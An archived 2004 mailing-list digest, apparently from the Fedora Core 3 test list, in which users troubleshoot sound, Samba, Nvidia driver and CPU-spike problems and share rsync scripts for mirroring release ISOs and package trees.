From mrguytx at austin.rr.com Mon Nov 1 00:14:46 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sun, 31 Oct 2004 18:14:46 -0600 Subject: 5 second cpu spike in FC3T3 In-Reply-To: <1099261509.3558.10.camel@guyleidadell> References: <1099184393.3693.50.camel@guyleidadell> <200410302035.33258.linxt@comcast.net> <1099194319.3693.78.camel@guyleidadell> <41846432.4040200@speakeasy.net> <1099195701.3693.80.camel@guyleidadell> <1099254808.4746.2.camel@kyrre> <1099252271.3558.1.camel@guyleidadell> <1099261509.3558.10.camel@guyleidadell> Message-ID: <1099268086.3558.12.camel@guyleidadell> > > > > > > > > > > Interesting. I changed it with "s", to .5 seconds. > The two things that pop up every 5 seconds are gkrellm itself, and > something vaguely named gtk2_applet2. > > So what is gtk2_applet2? > If it's an applet couldn't it be a java-something? > > Hmm, curiouser and curiouser. > > -- > =Guy > 16:23:31 up 7:01, 2 users, load average: 1.01, 0.49, 0.88 > let me revise that, sorry, it's gtik2_applet2 -- =Guy 18:14:14 up 8:52, 2 users, load average: 0.40, 0.27, 0.26 From lux at diesel-research.com Mon Nov 1 00:47:58 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 31 Oct 2004 17:47:58 -0700 Subject: Soundcard detected but no sound... continued In-Reply-To: <38f00b2a041031095927389f93@mail.gmail.com> References: <38f00b2a041031095927389f93@mail.gmail.com> Message-ID: <1099270078.4883.0.camel@localhost.localdomain> A couple of us have the same problem. I submitted a bug report to bugzilla on Friday. I'm hoping they get around to it in the next few days. I'll post back to the group with our findings. On Sun, 2004-10-31 at 18:59 +0100, Darek Borkowski wrote: > Hi, > as written before I have FC3test2 ugraded everyday. Soundcard detected > but no sound even with newest kernel and other packages. > Below are some debugging info from my Laptop (Toshiba Sattelite 1135-S1554 > > Darek Borkowski > > ================================= > > > [root at kapsel ~]# system-config-soundcard > Simple mixer control 'PCM',0 > Capabilities: pvolume pswitch pswitch-joined > Playback channels: Front Left - Front Right > Limits: Playback 0 - 31 > Front Left: Playback 23 [74%] [on] > Front Right: Playback 23 [74%] [on] > Playing WAVE '/usr/share/system-config-soundcard/sound-sample.wav' : > Signed 16 b it Little Endian, Rate 44100 Hz, Stereo > aplay: pcm_write:1115: write error: Input/output error > > > [root at kapsel ~]# uname -r > 2.6.9-1.649 > [root at kapsel ~]# lsmod > Module Size Used by > i915 76869 3 > parport_pc 24705 1 > lp 11565 0 > parport 41737 2 parport_pc,lp > autofs4 24005 0 > i2c_dev 10433 0 > i2c_core 22081 1 i2c_dev > sunrpc 160421 1 > orinoco_cs 9545 1 > orinoco 47053 1 orinoco_cs > hermes 7617 2 orinoco_cs,orinoco > ds 16965 7 orinoco_cs > dm_mod 54741 0 > button 6481 0 > battery 8517 0 > ac 4805 0 > yenta_socket 18753 1 > pcmcia_core 59913 3 orinoco_cs,ds,yenta_socket > uhci_hcd 31449 0 > ehci_hcd 31557 0 > snd_intel8x0m 18185 0 > snd_intel8x0 34829 2 > snd_ac97_codec 64401 2 snd_intel8x0m,snd_intel8x0 > snd_pcm_oss 47609 0 > snd_mixer_oss 17217 2 snd_pcm_oss > snd_pcm 97993 3 snd_intel8x0m,snd_intel8x0,snd_pcm_oss > snd_timer 29765 1 snd_pcm > snd_page_alloc 9673 3 snd_intel8x0m,snd_intel8x0,snd_pcm > gameport 4801 1 snd_intel8x0 > snd_mpu401_uart 8769 1 snd_intel8x0 > snd_rawmidi 26725 1 snd_mpu401_uart > snd_seq_device 8137 1 snd_rawmidi > snd 54053 12 > snd_intel8x0m,snd_intel8x0,snd_ac97_codec,snd_pcm_oss,snd_mixer_oss,snd_pcm,snd_timer,snd_mpu401_uart,snd_rawmidi,snd_seq_device > soundcore 9889 2 snd > 8139too 26305 0 > mii 4673 1 8139too > ext3 116809 2 > jbd 74969 1 ext3 > > > [root at kapsel ~]# lspci > '00:00.0 Host bridge: Intel Corp. 82852/82855 GM/GME/PM/GMV Processor > to I/O Controller (rev 01) > 00:00.1 System peripheral: Intel Corp. 82852/82855 GM/GME/PM/GMV > Processor to I/O Controller (rev 01) > 00:00.3 System peripheral: Intel Corp. 82852/82855 GM/GME/PM/GMV > Processor to I/O Controller (rev 01) > 00:02.0 VGA compatible controller: Intel Corp. 82852/855GM Integrated > Graphics Device (rev 01) > 00:02.1 Display controller: Intel Corp. 82852/855GM Integrated > Graphics Device (rev 01) > 00:1d.0 USB Controller: Intel Corp. 82801DB/DBL/DBM > (ICH4/ICH4-L/ICH4-M) USB UHCI Controller #1 (rev 03) > 00:1d.1 USB Controller: Intel Corp. 82801DB/DBL/DBM > (ICH4/ICH4-L/ICH4-M) USB UHCI Controller #2 (rev 03) > 00:1d.2 USB Controller: Intel Corp. 82801DB/DBL/DBM > (ICH4/ICH4-L/ICH4-M) USB UHCI Controller #3 (rev 03) > 00:1d.7 USB Controller: Intel Corp. 82801DB/DBM (ICH4/ICH4-M) USB2 > EHCI Controller (rev 03) > 00:1e.0 PCI bridge: Intel Corp. 82801 Mobile PCI Bridge (rev 83) > 00:1f.0 ISA bridge: Intel Corp. 82801DBM (ICH4-M) LPC Interface Bridge (rev 03) > 00:1f.1 IDE interface: Intel Corp. 82801DBM (ICH4-M) IDE Controller (rev 03) > 00:1f.3 SMBus: Intel Corp. 82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) SMBus > Controller (rev 03) > 00:1f.5 Multimedia audio controller: Intel Corp. 82801DB/DBL/DBM > (ICH4/ICH4-L/ICH4-M) AC'97 Audio Controller (rev 03) > 00:1f.6 Modem: Intel Corp. 82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) AC'97 > Modem Controller (rev 03) > 02:01.0 Ethernet controller: Realtek Semiconductor Co., Ltd. > RTL-8139/8139C/8139C+ (rev 10) > 02:02.0 CardBus bridge: Texas Instruments PCI1410 PC card Cardbus > Controller (rev 01) > 02:04.0 CardBus bridge: O2 Micro, Inc. OZ6933 Cardbus Controller (rev 01) > 02:04.1 CardBus bridge: O2 Micro, Inc. OZ6933 Cardbus Controller (rev 01) > From cochranb at speakeasy.net Mon Nov 1 02:36:48 2004 From: cochranb at speakeasy.net (Robert L Cochran) Date: Sun, 31 Oct 2004 21:36:48 -0500 Subject: RC5: What Happened To vncviewer? Message-ID: <4185A140.7030804@speakeasy.net> I thought the vnc and vnc-server packages are installed by default? I was mystified earlier today when I couldn't find "vnc" in any of the "Applications" dropdown categories for RC5. It looks like vnc-server is installed by default, but not vnc which has the vncviewer functionality. Bob Cochran Greenbelt, Maryland From rtoledo2002 at yahoo.com Mon Nov 1 02:50:55 2004 From: rtoledo2002 at yahoo.com (Roman Toledo) Date: Sun, 31 Oct 2004 18:50:55 -0800 (PST) Subject: samba configuration utility does not load up Message-ID: <20041101025055.63039.qmail@web60510.mail.yahoo.com> I've been testing core 3 test 3 2.92 for a month now and never got around to using the samba configuration app that is under the menu > system settings > server settings > samba. this ystem is up2date as of 10/31/04. I used the above menu to load up the "services" app to make sure smb and windbind are running in level 3 , 4, and 5 (not sure if level 4 should as I don't know much about that level) I made sure my sons machine is running and made sure samba is running on it, (suse 9.1) it can not see my machine and when I start konqueror in my machine and type smb:// his machines name it comes back with it can not find it. I also got a message when I clicked on local networks saying I needed lisa, so I opened a terminal and started lisa, now I see a bunch of local 127.x.x.x and see my box FED777 but do not see my son's. I'm not sure If I've done something to break it(probably), since I've spent my time learnig to properly compile the kernel so I could then compile the raid card driver's and read and write to it(ntfs was a disappointment can't write to it) last I've done a lot of reading from the google pages and man samba and have learned a lot even how to mount and dismount NTFS volumes in Windows, something totally unknown to me until today ;) but have not succeeded in fixing samba. I need to share my printer for the wife and son's machine. all suggestions are deeply appreciated and my appologies for the long and winding story ;) From mrguytx at austin.rr.com Mon Nov 1 03:15:14 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sun, 31 Oct 2004 21:15:14 -0600 Subject: samba configuration utility does not load up In-Reply-To: <20041101025055.63039.qmail@web60510.mail.yahoo.com> References: <20041101025055.63039.qmail@web60510.mail.yahoo.com> Message-ID: <1099278914.3558.19.camel@guyleidadell> On Sun, 2004-10-31 at 18:50 -0800, Roman Toledo wrote: > I've been testing core 3 test 3 2.92 for a month now and never got > around to using the samba configuration app that is under the > menu > system settings > server settings > samba. > > this ystem is up2date as of 10/31/04. I used the above menu to load up > the > "services" app to make sure smb and windbind are running in level 3 , > 4, and 5 (not sure if level 4 should as I don't know much about that > level) > > I made sure my sons machine is running and made sure samba is running > on it, (suse 9.1) it can not see my machine and when I start konqueror > in my machine and type smb:// his machines name it comes back with it > can not find it. > > I also got a message when I clicked on local networks saying I needed > lisa, so I opened a terminal and started lisa, now I see a bunch of > local 127.x.x.x and see my box FED777 but do not see my son's. > > I'm not sure If I've done something to break it(probably), since I've > spent my time learnig to properly compile the kernel so I could then > compile the raid card driver's and read and write to it(ntfs was a > disappointment can't write to it) > > last I've done a lot of reading from the google pages and man samba and > have learned a lot even how to mount and dismount NTFS volumes in > Windows, something totally unknown to me until today ;) but have not > succeeded in fixing samba. I need to share my printer for the wife and > son's machine. > > all suggestions are deeply appreciated and my appologies for the long > and winding story ;) > can you manually mount it in a terminal? try smbmount //servername/sharename /mnt/onyourfedorabox username it should come back with a password to access the share. at least this will tell you if samba itself is working. hth -- =Guy 21:13:59 up 11:51, 2 users, load average: 3.63, 2.29, 2.05 From cochranb at speakeasy.net Mon Nov 1 03:20:19 2004 From: cochranb at speakeasy.net (Robert L Cochran) Date: Sun, 31 Oct 2004 22:20:19 -0500 Subject: samba configuration utility does not load up In-Reply-To: <20041101025055.63039.qmail@web60510.mail.yahoo.com> References: <20041101025055.63039.qmail@web60510.mail.yahoo.com> Message-ID: <4185AB73.10401@speakeasy.net> Why don't you download and install Fedora Core 3 RC5 which was made available just this past Friday. As to Samba, you should also look over the Release Notes that come with RC5. there is a short section on Samba that you should study. You either need to disable your Fedora Core firewall, or configure a WINS server and point the "WINS server" option of your smb.conf file at it. I have not done this myself. Bob Roman Toledo wrote: >I've been testing core 3 test 3 2.92 for a month now and never got >around to using the samba configuration app that is under the >menu > system settings > server settings > samba. > >this ystem is up2date as of 10/31/04. I used the above menu to load up >the >"services" app to make sure smb and windbind are running in level 3 , >4, and 5 (not sure if level 4 should as I don't know much about that >level) > >I made sure my sons machine is running and made sure samba is running >on it, (suse 9.1) it can not see my machine and when I start konqueror >in my machine and type smb:// his machines name it comes back with it >can not find it. > >I also got a message when I clicked on local networks saying I needed >lisa, so I opened a terminal and started lisa, now I see a bunch of >local 127.x.x.x and see my box FED777 but do not see my son's. > >I'm not sure If I've done something to break it(probably), since I've >spent my time learnig to properly compile the kernel so I could then >compile the raid card driver's and read and write to it(ntfs was a >disappointment can't write to it) > >last I've done a lot of reading from the google pages and man samba and >have learned a lot even how to mount and dismount NTFS volumes in >Windows, something totally unknown to me until today ;) but have not >succeeded in fixing samba. I need to share my printer for the wife and >son's machine. > >all suggestions are deeply appreciated and my appologies for the long >and winding story ;) > > > From linhardt at swbell.net Mon Nov 1 03:49:55 2004 From: linhardt at swbell.net (Terry R Linhardt) Date: Sun, 31 Oct 2004 21:49:55 -0600 Subject: Soundcard detected but no sound... continued In-Reply-To: <1099270078.4883.0.camel@localhost.localdomain> References: <38f00b2a041031095927389f93@mail.gmail.com> <1099270078.4883.0.camel@localhost.localdomain> Message-ID: <4185B263.1060209@swbell.net> You may want to cross-reference your bug report to 137637, if in fact 2 bug reports have been submitted on the same subject. Regards, Terry Kim Lux wrote: >A couple of us have the same problem. > >I submitted a bug report to bugzilla on Friday. I'm hoping they get >around to it in the next few days. I'll post back to the group with our >findings. > > > >On Sun, 2004-10-31 at 18:59 +0100, Darek Borkowski wrote: > > >>Hi, >>as written before I have FC3test2 ugraded everyday. Soundcard detected >>but no sound even with newest kernel and other packages. >>Below are some debugging info from my Laptop (Toshiba Sattelite 1135-S1554 >> >>Darek Borkowski >> >>================================= >> >> >>[root at kapsel ~]# system-config-soundcard >>Simple mixer control 'PCM',0 >> Capabilities: pvolume pswitch pswitch-joined >> Playback channels: Front Left - Front Right >> Limits: Playback 0 - 31 >> Front Left: Playback 23 [74%] [on] >> Front Right: Playback 23 [74%] [on] >>Playing WAVE '/usr/share/system-config-soundcard/sound-sample.wav' : >>Signed 16 b it Little Endian, Rate 44100 Hz, Stereo >>aplay: pcm_write:1115: write error: Input/output error >> >> >>[root at kapsel ~]# uname -r >>2.6.9-1.649 >>[root at kapsel ~]# lsmod >>Module Size Used by >>i915 76869 3 >>parport_pc 24705 1 >>lp 11565 0 >>parport 41737 2 parport_pc,lp >>autofs4 24005 0 >>i2c_dev 10433 0 >>i2c_core 22081 1 i2c_dev >>sunrpc 160421 1 >>orinoco_cs 9545 1 >>orinoco 47053 1 orinoco_cs >>hermes 7617 2 orinoco_cs,orinoco >>ds 16965 7 orinoco_cs >>dm_mod 54741 0 >>button 6481 0 >>battery 8517 0 >>ac 4805 0 >>yenta_socket 18753 1 >>pcmcia_core 59913 3 orinoco_cs,ds,yenta_socket >>uhci_hcd 31449 0 >>ehci_hcd 31557 0 >>snd_intel8x0m 18185 0 >>snd_intel8x0 34829 2 >>snd_ac97_codec 64401 2 snd_intel8x0m,snd_intel8x0 >>snd_pcm_oss 47609 0 >>snd_mixer_oss 17217 2 snd_pcm_oss >>snd_pcm 97993 3 snd_intel8x0m,snd_intel8x0,snd_pcm_oss >>snd_timer 29765 1 snd_pcm >>snd_page_alloc 9673 3 snd_intel8x0m,snd_intel8x0,snd_pcm >>gameport 4801 1 snd_intel8x0 >>snd_mpu401_uart 8769 1 snd_intel8x0 >>snd_rawmidi 26725 1 snd_mpu401_uart >>snd_seq_device 8137 1 snd_rawmidi >>snd 54053 12 >>snd_intel8x0m,snd_intel8x0,snd_ac97_codec,snd_pcm_oss,snd_mixer_oss,snd_pcm,snd_timer,snd_mpu401_uart,snd_rawmidi,snd_seq_device >>soundcore 9889 2 snd >>8139too 26305 0 >>mii 4673 1 8139too >>ext3 116809 2 >>jbd 74969 1 ext3 >> >> >>[root at kapsel ~]# lspci >>'00:00.0 Host bridge: Intel Corp. 82852/82855 GM/GME/PM/GMV Processor >>to I/O Controller (rev 01) >>00:00.1 System peripheral: Intel Corp. 82852/82855 GM/GME/PM/GMV >>Processor to I/O Controller (rev 01) >>00:00.3 System peripheral: Intel Corp. 82852/82855 GM/GME/PM/GMV >>Processor to I/O Controller (rev 01) >>00:02.0 VGA compatible controller: Intel Corp. 82852/855GM Integrated >>Graphics Device (rev 01) >>00:02.1 Display controller: Intel Corp. 82852/855GM Integrated >>Graphics Device (rev 01) >>00:1d.0 USB Controller: Intel Corp. 82801DB/DBL/DBM >>(ICH4/ICH4-L/ICH4-M) USB UHCI Controller #1 (rev 03) >>00:1d.1 USB Controller: Intel Corp. 82801DB/DBL/DBM >>(ICH4/ICH4-L/ICH4-M) USB UHCI Controller #2 (rev 03) >>00:1d.2 USB Controller: Intel Corp. 82801DB/DBL/DBM >>(ICH4/ICH4-L/ICH4-M) USB UHCI Controller #3 (rev 03) >>00:1d.7 USB Controller: Intel Corp. 82801DB/DBM (ICH4/ICH4-M) USB2 >>EHCI Controller (rev 03) >>00:1e.0 PCI bridge: Intel Corp. 82801 Mobile PCI Bridge (rev 83) >>00:1f.0 ISA bridge: Intel Corp. 82801DBM (ICH4-M) LPC Interface Bridge (rev 03) >>00:1f.1 IDE interface: Intel Corp. 82801DBM (ICH4-M) IDE Controller (rev 03) >>00:1f.3 SMBus: Intel Corp. 82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) SMBus >>Controller (rev 03) >>00:1f.5 Multimedia audio controller: Intel Corp. 82801DB/DBL/DBM >>(ICH4/ICH4-L/ICH4-M) AC'97 Audio Controller (rev 03) >>00:1f.6 Modem: Intel Corp. 82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) AC'97 >>Modem Controller (rev 03) >>02:01.0 Ethernet controller: Realtek Semiconductor Co., Ltd. >>RTL-8139/8139C/8139C+ (rev 10) >>02:02.0 CardBus bridge: Texas Instruments PCI1410 PC card Cardbus >>Controller (rev 01) >>02:04.0 CardBus bridge: O2 Micro, Inc. OZ6933 Cardbus Controller (rev 01) >>02:04.1 CardBus bridge: O2 Micro, Inc. OZ6933 Cardbus Controller (rev 01) >> >> >> > > > From gene.heskett at verizon.net Mon Nov 1 05:19:07 2004 From: gene.heskett at verizon.net (Gene Heskett) Date: Mon, 1 Nov 2004 01:19:07 -0400 Subject: handy iso upgrade rsync script In-Reply-To: <200410292031.13871@x-face> References: <200410292031.13871@x-face> Message-ID: <200411010019.07461.gene.heskett@verizon.net> On Friday 29 October 2004 20:31, Salane KIng wrote: >sunsite.mff.cuni.cz::ftp/OS/Linux/Dist/Fedora.RC/3/i386/iso/FC3-i386 >-disc* Can someone please translate this into an access to the duke.edu rsync server? I'm playing the 10,000 monkeys scene here and failing to find the correct syntax from the responses I'm getting. -- Cheers, Gene "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) 99.28% setiathome rank, not too shabby for a WV hillbilly Yahoo.com attorneys please note, additions to this message by Gene Heskett are: Copyright 2004 by Maurice Eugene Heskett, all rights reserved. From gene.heskett at verizon.net Mon Nov 1 05:32:29 2004 From: gene.heskett at verizon.net (Gene Heskett) Date: Mon, 1 Nov 2004 01:32:29 -0400 Subject: handy iso upgrade rsync script In-Reply-To: <200410292031.13871@x-face> References: <200410292031.13871@x-face> Message-ID: <200411010032.29235.gene.heskett@verizon.net> On Friday 29 October 2004 20:31, Salane KIng wrote: >rsync usually will speed up the upgrading of iso files from one to > another. Since the test iso does'nt change their name here is a > small script to help the community. > >#!/bin/sh >rsync -av --progress --partial --stats >sunsite.mff.cuni.cz::ftp/OS/Linux/Dist/Fedora.RC/3/i386/iso/FC3-i386 >-disc* /directory of isos >the rsync line here is smart wrapped and should be on one line in > your command or bash script file. > >here is my output of this command which is saved as the file "iso" >sh iso >SunSITE.MFF.CUni.CZ 2TB archive > >receiving file list ... >4 files to consider >FC3-i386-disc1.iso > 647069696 100% 628.29kB/s 0:16:45 (1, 25.0% of 4) >FC3-i386-disc2.iso > 668514304 100% 1.25MB/s 0:08:31 (2, 50.0% of 4) >FC3-i386-disc3.iso > 667525120 100% 1016.03kB/s 0:10:41 (3, 75.0% of 4) >FC3-i386-disc4.iso > 398049280 100% 884.90kB/s 0:07:19 (4, 100.0% of 4) > >Number of files: 4 >Number of files transferred: 4 >Total file size: 2381158400 bytes >Total transferred file size: 2381158400 bytes >Literal data: 371155464 bytes >Matched data: 2010002936 bytes >File list size: 101 >Total bytes sent: 583981 >Total bytes received: 371529134 > >sent 583981 bytes received 371529134 bytes 136130.64 bytes/sec >total size is 2381158400 speedup is 6.40 I have the RC3 images sitting in the target local directory, but they don't appear to be getting updated, instead from the appearance of my downloads directory after this has been running for about 10 minutes, it apparently is going to download a fresh copy of everything, but with a serial number appended to the end, and a . (dot) prefixed to the newer filename. This doesn't strike me as the expected rsync operation. Can anyone explain why that is happening to this big & old dummy? -- Cheers, Gene "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) 99.28% setiathome rank, not too shabby for a WV hillbilly Yahoo.com attorneys please note, additions to this message by Gene Heskett are: Copyright 2004 by Maurice Eugene Heskett, all rights reserved. From rpaiz at simpaticus.com Mon Nov 1 06:28:13 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Mon, 01 Nov 2004 00:28:13 -0600 Subject: handy iso upgrade rsync script In-Reply-To: <200411010019.07461.gene.heskett@verizon.net> References: <200410292031.13871@x-face> <200411010019.07461.gene.heskett@verizon.net> Message-ID: <1099290493.3557.27.camel@localhost.localdomain> On Mon, 2004-11-01 at 01:19 -0400, Gene Heskett wrote: > On Friday 29 October 2004 20:31, Salane KIng wrote: > >sunsite.mff.cuni.cz::ftp/OS/Linux/Dist/Fedora.RC/3/i386/iso/FC3-i386 > >-disc* > > Can someone please translate this into an access to the duke.edu rsync > server? I'm playing the 10,000 monkeys scene here and failing to > find the correct syntax from the responses I'm getting. > I'm very short on time right now, but I can at least point you to my mirror script which uses rsync off Duke. Maybe that will help you figure out the correct paths. Cheers, #!/bin/bash # Name: mirror v1.5 # Date: 2 June 2004 # # Description: This is a script to mirror the FTP sites I choose to keep # on my server. It can mirror either a single site or all sites depending # on the parameters given on the command line. # # Usage: mirror [redhat|fedora|all] case $1 in redhat) SITE="ftp.dulug.duke.edu" SOURCEPATH="redhat-ftp/redhat" LOCALPATH="/data/pub/redhat" ;; fedora) SITE="mirror.linux.duke.edu" SOURCEPATH="fedora-linux-core" LOCALPATH="/data/pub/fedora/linux/core" ;; all) /home/rpaiz/mirror/mirror redhat & /home/rpaiz/mirror/mirror fedora & exit 0 ;; *) echo "Invalid parameter; please try again." echo exit 1 esac # Execute the mirroring process and create the output file. rsync -avP --exclude-from=excluded-$1 --delete --delete-excluded \ --max-delete=100 $SITE::$SOURCEPATH/ $LOCALPATH/ > report-$1.$(date + %F) # Done. exit 0 -- Rodolfo J. Paiz -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From rpaiz at simpaticus.com Mon Nov 1 06:31:06 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Mon, 01 Nov 2004 00:31:06 -0600 Subject: Kudos to whomever worked on the synaptics touchpad driver ! In-Reply-To: <1099245855.4691.5.camel@localhost.localdomain> References: <1099245855.4691.5.camel@localhost.localdomain> Message-ID: <1099290666.3557.30.camel@localhost.localdomain> On Sun, 2004-10-31 at 11:04 -0700, Kim Lux wrote: > I'm using the new synaptics touchpad driver on my HP ZD7280. It works > very, very well, better than it does in Windows. The scroll function is > really handy. > And now that we've got the synaptics code team happy, can I bug y'all to PLEASE remove the dependency whereby rhpl requires synaptics? Since up2date and yum and some other very useful stuff require synaptics in RC5, and since synaptics requires an xorg-x11 package which in turn requires some other stuff, I've got 40MB of cruft on a minimal install (including cups... what the heck does cups have to do with this?) that I cannot remove nicely thanks to synaptics. I'm sure I would love the functionality too if I had one of these drives... but if I don't, why am I stuck with it? Cheers, -- Rodolfo J. Paiz -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From gene.heskett at verizon.net Mon Nov 1 06:35:15 2004 From: gene.heskett at verizon.net (Gene Heskett) Date: Mon, 1 Nov 2004 02:35:15 -0400 Subject: handy iso upgrade rsync script In-Reply-To: <1099290493.3557.27.camel@localhost.localdomain> References: <200410292031.13871@x-face> <200411010019.07461.gene.heskett@verizon.net> <1099290493.3557.27.camel@localhost.localdomain> Message-ID: <200411010135.15960.gene.heskett@verizon.net> On Monday 01 November 2004 01:28, Rodolfo J. Paiz wrote: >On Mon, 2004-11-01 at 01:19 -0400, Gene Heskett wrote: >> On Friday 29 October 2004 20:31, Salane KIng wrote: >> >sunsite.mff.cuni.cz::ftp/OS/Linux/Dist/Fedora.RC/3/i386/iso/FC3-i >> >386 -disc* >> >> Can someone please translate this into an access to the duke.edu >> rsync server? I'm playing the 10,000 monkeys scene here and >> failing to find the correct syntax from the responses I'm getting. > >I'm very short on time right now, but I can at least point you to my >mirror script which uses rsync off Duke. Maybe that will help you > figure out the correct paths. > >Cheers, Exellent, thank you very much. > >#!/bin/bash > ># Name: mirror v1.5 ># Date: 2 June 2004 ># ># Description: This is a script to mirror the FTP sites I choose to > keep # on my server. It can mirror either a single site or all > sites depending ># on the parameters given on the command line. ># ># Usage: mirror [redhat|fedora|all] > >case $1 in > > redhat) > SITE="ftp.dulug.duke.edu" > SOURCEPATH="redhat-ftp/redhat" > LOCALPATH="/data/pub/redhat" > ;; > > fedora) > SITE="mirror.linux.duke.edu" > SOURCEPATH="fedora-linux-core" > LOCALPATH="/data/pub/fedora/linux/core" > ;; > > all) > /home/rpaiz/mirror/mirror redhat & > /home/rpaiz/mirror/mirror fedora & > exit 0 > ;; > > *) > echo "Invalid parameter; please try again." > echo > exit 1 > >esac > ># Execute the mirroring process and create the output file. > >rsync -avP --exclude-from=excluded-$1 --delete --delete-excluded \ > --max-delete=100 $SITE::$SOURCEPATH/ $LOCALPATH/ > > report-$1.$(date + %F) > ># Done. >exit 0 -- Cheers, Gene "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) 99.28% setiathome rank, not too shabby for a WV hillbilly Yahoo.com attorneys please note, additions to this message by Gene Heskett are: Copyright 2004 by Maurice Eugene Heskett, all rights reserved. From turtle83011 at hotmail.com Mon Nov 1 06:38:04 2004 From: turtle83011 at hotmail.com (Chris Tencati) Date: Sun, 31 Oct 2004 22:38:04 -0800 Subject: Nvidia Riva 128 Message-ID: Hi, first, sorry if this posts to a new thread, but I accidentally deleted the mail so I had to make a new one. Anyway, it's fairly likely that your problem isn't what was mentioned. I don't know about that specific card, but the nvidia installer doesn't 'finish' properly with newer fedora installs...not sure if this is a problem with the installer or with fedora, though I'm inclined to believe it's because fedora keeps changing all the init systems. Basically the installer doesn't actually setup automatic loading of the kernel module. So if you have your xorg.conf file correctly setup to use the nvidia drivers, but the module isn't loaded, it dies with the "no screens" message. I've noticed a *lot* of people on nvidia's linux forums have had this problem, and I finally got them to sticky a post about this cause. Boot into terminal mode, and before you do startx, try 'lsmod |grep nvidia'. If the module is loaded, then you should start screwing with the screen configs etc, but I wouldn't start with that until you're sure it's the problem :) Assuming that the module is not loaded, do 'modprobe nvidia' and add that line to /etc/rc.d/rc.local anywhere so it will be loaded automatically on boot. I know FC2 and prior set it up for you properly (even the same version drivers), so I'm pretty sure that whatever init file(s) the installer modifies are no longer used/present in newer versions of Fedora. Unfortunately which files it uses at any given time seems to change weekly :-\ _________________________________________________________________ On the road to retirement? Check out MSN Life Events for advice on how to get there! http://lifeevents.msn.com/category.aspx?cid=Retirement From balay at fastmail.fm Mon Nov 1 06:42:47 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 1 Nov 2004 00:42:47 -0600 (CST) Subject: Kudos to whomever worked on the synaptics touchpad driver ! In-Reply-To: <1099290666.3557.30.camel@localhost.localdomain> References: <1099245855.4691.5.camel@localhost.localdomain> <1099290666.3557.30.camel@localhost.localdomain> Message-ID: On Mon, 1 Nov 2004, Rodolfo J. Paiz wrote: > > And now that we've got the synaptics code team happy, can I bug y'all to > PLEASE remove the dependency whereby rhpl requires synaptics? > > Since up2date and yum and some other very useful stuff require synaptics > in RC5, and since synaptics requires an xorg-x11 package which in turn > requires some other stuff, I've got 40MB of cruft on a minimal install > (including cups... what the heck does cups have to do with this?) that I > cannot remove nicely thanks to synaptics. yum doesn't depend on synaptics. (so removing up2date should be ok) And I don't see the cups depending on synaptics... Satish ------- # yum remove synaptics Dependencies Resolved Transaction Listing: Remove: synaptics.i386 0:0.13.5-5 Performing the following to resolve dependencies: Remove: authconfig-gtk.i386 0:4.6.5-3.1 Remove: desktop-printing.i386 0:0.17-3 Remove: firstboot.noarch 0:1.3.33-1 Remove: hal-cups-utils.i386 0:0.5.2-8 Remove: rhn-applet.i386 0:2.1.16-1 Remove: rhpl.i386 0:0.148-1 Remove: system-config-date.noarch 0:1.7.11-1 Remove: system-config-display.noarch 0:1.0.23-1 Remove: system-config-keyboard.noarch 0:1.2.5-1 Remove: system-config-language.noarch 0:1.1.8-1 Remove: system-config-mouse.noarch 0:1.2.9-1 Remove: system-config-network.noarch 0:1.3.22-1 Remove: system-config-network-tui.noarch 0:1.3.22-1 Remove: system-config-packages.noarch 0:1.2.20-1 Remove: system-config-printer.i386 0:0.6.116-1 Remove: system-config-printer-gui.i386 0:0.6.116-1 Remove: system-config-rootpassword.noarch 0:1.1.6-1 Remove: system-config-securitylevel.i386 0:1.4.14-1 Remove: system-config-services.noarch 0:0.8.15-1 Remove: system-config-soundcard.noarch 0:1.2.10-1 Remove: up2date.i386 0:4.3.47-5 Remove: up2date-gnome.i386 0:4.3.47-5 From mike at netlyncs.com Mon Nov 1 08:13:27 2004 From: mike at netlyncs.com (Mike Chambers) Date: Mon, 01 Nov 2004 02:13:27 -0600 Subject: handy iso upgrade rsync script In-Reply-To: <200411010032.29235.gene.heskett@verizon.net> References: <200410292031.13871@x-face> <200411010032.29235.gene.heskett@verizon.net> Message-ID: <1099296807.3576.1.camel@scrappy.netlyncs.com> On Mon, 2004-11-01 at 01:32 -0400, Gene Heskett wrote: > I have the RC3 images sitting in the target local directory, but they > don't appear to be getting updated, instead from the appearance of my > downloads directory after this has been running for about 10 minutes, > it apparently is going to download a fresh copy of everything, but > with a serial number appended to the end, and a . (dot) prefixed to > the newer filename. This doesn't strike me as the expected rsync > operation. Are the images the exact same names as the ones your downloading? -- Mike Chambers Madisonville, KY "It's always better to hurt a little now, than to hurt a lot later!" From mike at netlyncs.com Mon Nov 1 08:16:16 2004 From: mike at netlyncs.com (Mike Chambers) Date: Mon, 01 Nov 2004 02:16:16 -0600 Subject: handy iso upgrade rsync script In-Reply-To: <1099296807.3576.1.camel@scrappy.netlyncs.com> References: <200410292031.13871@x-face> <200411010032.29235.gene.heskett@verizon.net> <1099296807.3576.1.camel@scrappy.netlyncs.com> Message-ID: <1099296976.3576.3.camel@scrappy.netlyncs.com> On Mon, 2004-11-01 at 02:13 -0600, Mike Chambers wrote: > On Mon, 2004-11-01 at 01:32 -0400, Gene Heskett wrote: > > > I have the RC3 images sitting in the target local directory, but they > > don't appear to be getting updated, instead from the appearance of my > > downloads directory after this has been running for about 10 minutes, > > it apparently is going to download a fresh copy of everything, but > > with a serial number appended to the end, and a . (dot) prefixed to > > the newer filename. This doesn't strike me as the expected rsync > > operation. > 